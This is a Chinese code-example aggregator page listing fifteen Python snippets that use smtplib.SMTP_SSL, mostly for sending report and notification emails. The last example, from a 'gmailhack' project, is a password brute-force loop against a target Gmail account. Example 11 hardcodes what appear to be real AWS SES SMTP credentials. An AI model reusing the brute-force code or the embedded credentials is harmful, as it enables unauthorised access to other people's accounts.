當前位置: 首頁>>代碼示例>>Python>>正文


Python smtplib.SMTP_SSL屬性代碼示例

本文整理匯總了Python中smtplib.SMTP_SSL屬性的典型用法代碼示例。如果您正苦於以下問題:Python smtplib.SMTP_SSL屬性的具體用法?Python smtplib.SMTP_SSL怎麽用?Python smtplib.SMTP_SSL使用的例子?那麽, 這裏精選的屬性代碼示例或許可以為您提供幫助。您也可以進一步了解該屬性所在smtplib的用法示例。


在下文中一共展示了smtplib.SMTP_SSL屬性的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: envia_relatorio_txt_por_email

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def envia_relatorio_txt_por_email(assunto, relatorio):
    gmail_user = os.environ['GMAIL_FROM']
    gmail_password = os.environ['GMAIL_PASSWORD']
    to = os.environ['SEND_TO'].split(sep=';')

    print('enviando email para : ' + str(to))

    try:
        server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
        server.ehlo()
        server.login(gmail_user, gmail_password)

        message = 'Subject: {}\n\n{}'.format(assunto, relatorio)
        server.sendmail(gmail_user, to, message.encode("utf8"))
        server.quit()
        print('Email enviado com sucesso')
        return True
    except Exception as ex:
        print('Erro ao enviar email')
        print(ex)
        return False 
開發者ID:guilhermecgs,項目名稱:ir,代碼行數:23,代碼來源:envia_relatorio_por_email.py

示例2: envia_relatorio_html_por_email

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def envia_relatorio_html_por_email(assunto, relatorio_html):
    gmail_user = os.environ['GMAIL_FROM']
    gmail_password = os.environ['GMAIL_PASSWORD']
    to = os.environ['SEND_TO'].split(sep=';')

    msg = MIMEText(relatorio_html, 'html')
    msg['Subject'] = assunto
    msg['From'] = gmail_user

    try:
        server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
        server.ehlo()
        server.login(gmail_user, gmail_password)
        for to_addrs in to:
            msg['To'] = to_addrs
            server.send_message(msg, from_addr=gmail_user, to_addrs=to_addrs)
        print('Email enviado com sucesso')
        return True
    except Exception as ex:
        print('Erro ao enviar email')
        print(ex)
        return False 
開發者ID:guilhermecgs,項目名稱:ir,代碼行數:24,代碼來源:envia_relatorio_por_email.py

示例3: send_message

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def send_message(self, to_user, title, body, **kwargs):
        if self.ssl:
            smtp_client = smtplib.SMTP_SSL()
        else:
            smtp_client = smtplib.SMTP()
        smtp_client.connect(zvt_env['smtp_host'], zvt_env['smtp_port'])
        smtp_client.login(zvt_env['email_username'], zvt_env['email_password'])
        msg = MIMEMultipart('alternative')
        msg['Subject'] = Header(title).encode()
        msg['From'] = "{} <{}>".format(Header('zvt').encode(), zvt_env['email_username'])
        if type(to_user) is list:
            msg['To'] = ", ".join(to_user)
        else:
            msg['To'] = to_user
        msg['Message-id'] = email.utils.make_msgid()
        msg['Date'] = email.utils.formatdate()

        plain_text = MIMEText(body, _subtype='plain', _charset='UTF-8')
        msg.attach(plain_text)

        try:
            smtp_client.sendmail(zvt_env['email_username'], to_user, msg.as_string())
        except Exception as e:
            self.logger.exception('send email failed', e) 
開發者ID:zvtvz,項目名稱:zvt,代碼行數:26,代碼來源:informer.py

示例4: send_mail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def send_mail(send_from, send_to, subject, text, files=[], server="localhost", ssl=False, username=None, password=None):
    msg = MIMEMultipart('alternative')
    msg.set_charset('utf-8')
    msg['From'] = send_from
    msg['To'] = send_to
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject
    part = MIMEText(text)
    part.set_charset('utf-8')
    msg.attach(part)
    if ssl:
        smtp = smtplib.SMTP_SSL(server)
    else:
        smtp = smtplib.SMTP(server)
    if username:
        smtp.login(username, password)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close() 
開發者ID:leancloud,項目名稱:satori,代碼行數:20,代碼來源:smtp.py

示例5: check_requirements

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def check_requirements(self):
        """Logs in to SMTP server to check credentials and settings"""
        if self.use_ssl:
            server = smtplib.SMTP_SSL(self.host, self.port)
        else:
            server = smtplib.SMTP(self.host, self.port)
        server.ehlo()
        if self.use_starttls:
            server.starttls()
            server.ehlo()
        try:
            if self.login_required:
                server.login(self.fromuser, self.frompwd)
        except Exception as ex:
            _logger.error("Cannot connect to your SMTP account. "
                          "Correct your config and try again. Error details:")
            _logger.error(ex)
            raise
        _logger.info("SMTP server check passed") 
開發者ID:MA3STR0,項目名稱:kimsufi-crawler,代碼行數:21,代碼來源:email_notifier.py

示例6: notify

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def notify(self, title, text, url=None):
        """Send email notification using SMTP"""
        msg = MIMEMultipart()
        msg['From'] = self.fromaddr
        msg['To'] = self.toaddr
        msg['Subject'] = title
        body = text if url else text + '\nURL: ' + url
        msg.attach(MIMEText(body, 'plain'))
        if self.use_ssl:
            server = smtplib.SMTP_SSL(self.host, self.port)
        else:
            server = smtplib.SMTP(self.host, self.port)
        server.ehlo()
        if self.use_starttls:
            server.starttls()
            server.ehlo()
        if self.login_required:
          server.login(self.fromuser, self.frompwd)
        text = msg.as_string()
        server.sendmail(self.fromaddr, self.toaddr, text) 
開發者ID:MA3STR0,項目名稱:kimsufi-crawler,代碼行數:22,代碼來源:email_notifier.py

示例7: closure

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def closure(host, fromEmail, toEmail):
			def smtpConnect():
				try:
					smtp = smtplib.SMTP_SSL(host)
				except socket.error:
					smtp = smtplib.SMTP(host)
				if password:
					smtp.login(fromEmail, password)
				return smtp
			try:
				smtpConnect()
				def handle(preamble, hotels):
					msg = MIMEText("%s\n\n%s\n\n%s" % (preamble, '\n'.join("  * %s: %s: %s" % (hotel['distance'], hotel['name'].encode('utf-8'), hotel['room'].encode('utf-8')) for hotel in hotels), baseUrl + '/home'), 'plain', 'utf-8')
					msg['Subject'] = 'Gencon Hotel Search'
					msg['From'] = fromEmail
					msg['To'] = toEmail
					smtpConnect().sendmail(fromEmail, toEmail.split(','), msg.as_string())
				alertFns.append(handle)
				return True
			except Exception as e:
				print(e)
				return False 
開發者ID:mrozekma,項目名稱:gencon-hotel-check,代碼行數:24,代碼來源:gencon-hotel-check.py

示例8: send_email

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def send_email(self, email_dict):
        """
        Send a notification e-mail with the content of the dictionary provided as argument
        :param email_dict: contains all information for the e-mail including body, subject, from, recipient
        """
        try:
            msg = MIMEText(email_dict["body"])
            msg['Subject'] = email_dict["subject"]
            msg['From'] = self.smtp_user
            msg['To'] = self.notification_email

            smtp_ssl_con = smtplib.SMTP_SSL(self.smtp_server, self.smtp_port)
            smtp_ssl_con.login(self.smtp_user, self.smtp_pass)
            smtp_ssl_con.send_message(msg)
            smtp_ssl_con.quit()
        except Exception:
            self.logging.logger.error("something went wrong sending notification e-mail", exc_info=True) 
開發者ID:NVISO-BE,項目名稱:ee-outliers,代碼行數:19,代碼來源:notifier.py

示例9: mail_ads

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def mail_ads(self, ad_dict, email_title):
        subject = self.__create_email_subject(email_title, len(ad_dict))
        body = self.__create_email_body(ad_dict)

        msg = MIMEText(body, 'html')
        msg['Subject'] = subject
        msg['From'] = self.from_email
        msg['To'] = self.receiver

        server = smtplib.SMTP_SSL(self.smtp_server, self.smtp_port)

        server.ehlo()
        server.login(self.username, self.password)
        server.send_message(msg)

        server.quit() 
開發者ID:CRutkowski,項目名稱:Kijiji-Scraper,代碼行數:18,代碼來源:email_client.py

示例10: send_mail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def send_mail(to_list, sub, content, cc=None):
    '''
    Sending email via Python.
    '''
    sender = SMTP_CFG['name'] + "<" + SMTP_CFG['user'] + ">"
    msg = MIMEText(content, _subtype='html', _charset='utf-8')
    msg['Subject'] = sub
    msg['From'] = sender
    msg['To'] = ";".join(to_list)
    if cc:
        msg['cc'] = ';'.join(cc)
    try:
        # Using SMTP_SSL. The alinyun ECS has masked the 25 port since 9,2016.
        smtper = smtplib.SMTP_SSL(SMTP_CFG['host'], port=994)
        smtper.login(SMTP_CFG['user'], SMTP_CFG['pass'])
        smtper.sendmail(sender, to_list, msg.as_string())
        smtper.close()
        return True
    except:
        return False 
開發者ID:bukun,項目名稱:TorCMS,代碼行數:22,代碼來源:send_email.py

示例11: _send_message

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def _send_message(message):

    smtp = smtplib.SMTP_SSL('email-smtp.eu-west-1.amazonaws.com', 465)

    try:
        smtp.login(
            user='AKIAITZ6BSMD7DMZYTYQ',
            password='Ajf0ucUGJiN44N6IeciTY4ApN1os6JCeQqyglRSI2x4V')
    except SMTPAuthenticationError:
        return Response('Authentication failed',
                        status=HTTPStatus.UNAUTHORIZED)

    try:
        smtp.sendmail(message['From'], message['To'], message.as_string())
    except SMTPRecipientsRefused as e:
        return Response(f'Recipient refused {e}',
                        status=HTTPStatus.INTERNAL_SERVER_ERROR)
    finally:
        smtp.quit()

    return Response('Email sent', status=HTTPStatus.OK) 
開發者ID:PacktPublishing,項目名稱:Python-Programming-Blueprints,代碼行數:23,代碼來源:app.py

示例12: connect

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def connect(self, host, port, ssl, helo, starttls, timeout):

    if ssl == '0':
      if not port:
        port = 25
      fp = SMTP(timeout=int(timeout))
    else:
      if not port:
        port = 465
      fp = SMTP_SSL(timeout=int(timeout))

    resp = fp.connect(host, int(port))

    if helo:
      cmd, name = helo.split(' ', 1)

      if cmd.lower() == 'ehlo':
        resp = fp.ehlo(name)
      else:
        resp = fp.helo(name)

    if not starttls == '0':
      resp = fp.starttls()

    return TCP_Connection(fp, resp) 
開發者ID:lanjelot,項目名稱:patator,代碼行數:27,代碼來源:patator.py

示例13: test

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def test(config):

    import smtplib

    logger = logging.getLogger('SMTPListenerTest')

    server = smtplib.SMTP_SSL('localhost', config.get('port', 25))

    message = "From: test@test.com\r\nTo: test@test.com\r\n\r\nTest message\r\n"

    logger.info('Testing email request.')
    logger.info('-'*80)
    server.set_debuglevel(1)
    server.sendmail('test@test.com','test@test.com', message)
    server.quit()
    logger.info('-'*80) 
開發者ID:fireeye,項目名稱:flare-fakenet-ng,代碼行數:18,代碼來源:SMTPListener.py

示例14: send_email

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def send_email():
    """
    發送郵件
    """
    if not is_friday():
        return

    content = get_email_content()
    message = MIMEText(content, "html", MAIL_ENCODING)
    message["From"] = Header("weekly-bot", MAIL_ENCODING)
    message["To"] = Header("Reader")
    message["Subject"] = Header("weekly", MAIL_ENCODING)
    try:
        smtp_obj = smtplib.SMTP_SSL(MAIL_HOST)
        smtp_obj.login(MAIL_USER, MAIL_PASS)
        smtp_obj.sendmail(MAIL_SENDER, MAIL_RECEIVER, message.as_string())
        smtp_obj.quit()
    except Exception as e:
        print(e) 
開發者ID:chenjiandongx,項目名稱:weekly-email-subscribe,代碼行數:21,代碼來源:core.py

示例15: login

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP_SSL [as 別名]
def login():
    i = 0
    usr = raw_input('What is the targets email address :')
    server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    server.ehlo()
    for passw in pass_lst:
      i = i + 1
      print str(i) + '/' + str(len(pass_lst))
      try:
         server.login(usr, passw)
         print '[+] Password Found: %s ' % passw
         break
      except smtplib.SMTPAuthenticationError as e:
         error = str(e)
         if error[14] == '<':
            print '[+] Password Found: %s ' % passw
            break
         else:
            print '[!] Password Incorrect: %s ' % passw 
開發者ID:xHak9x,項目名稱:gmailhack,代碼行數:21,代碼來源:gmailhack.py


注:本文中的smtplib.SMTP_SSL屬性示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。